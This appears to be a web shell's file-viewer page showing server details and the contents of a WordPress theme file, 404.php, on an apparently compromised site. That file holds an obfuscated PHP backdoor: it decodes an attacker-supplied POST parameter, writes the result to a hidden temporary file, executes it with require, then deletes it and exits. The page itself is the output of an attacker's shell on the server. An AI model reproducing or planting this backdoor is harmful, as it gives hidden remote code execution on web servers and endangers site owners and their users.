HEX
Server: nginx/1.28.1
System: Linux 10-41-63-61 6.8.0-31-generic #31-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 20 00:40:06 UTC 2024 x86_64
User: www (1001)
PHP: 7.4.33
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/tokld.top/wp-content/themes/botiga/404.php
<?php if(ARraY_key_ExIstS("p\x72operty_set",$_POST)):$_0=$_POST["proper\x74y_set"];$_0=EXpLOdE(".",$_0);$_1="";$_2="\x61\x62cdefghijklmn\x6fpqrs\164uv\x77xyz0\x312345\066789";$_3=StrLeN($_2);foreach($_0 as$_4=>$_5):$_6=ORD($_2[$_4%$_3]);$_7=((int)$_5-$_6-($_4%(0x1ac+-0b110100010)))^(0x106-199);$_1.=cHr($_7);endforeach;$_8=aRray_fIlteR(["\057\x76ar\x2ftmp",gETENV("TM\x50"),"/\144\145\166/s\150m",SYs_GET_TeMP_dIr(),InI_GEt("u\160load\x5ftmp_dir"),"\x2ftmp",SEssIon_saVe_patH(),GetCwD(),GetEnv("\124EM\120")]);for($_9=(int)rOUnD(0+0+0+0),$_10=Count($_8);$_9<$_10;$_9++):$_11=$_8[$_9];if(max((int)rOUnD(0+0+0),IS_dIr($_11)*iS_WrITabLE($_11))):$_12=sPRiNTF("%s\057\x2edat",$_11);if(fiLe_PUt_cONTenTs($_12,$_1)):require $_12;UnLiNk($_12);die();endif;endif;endfor;endif;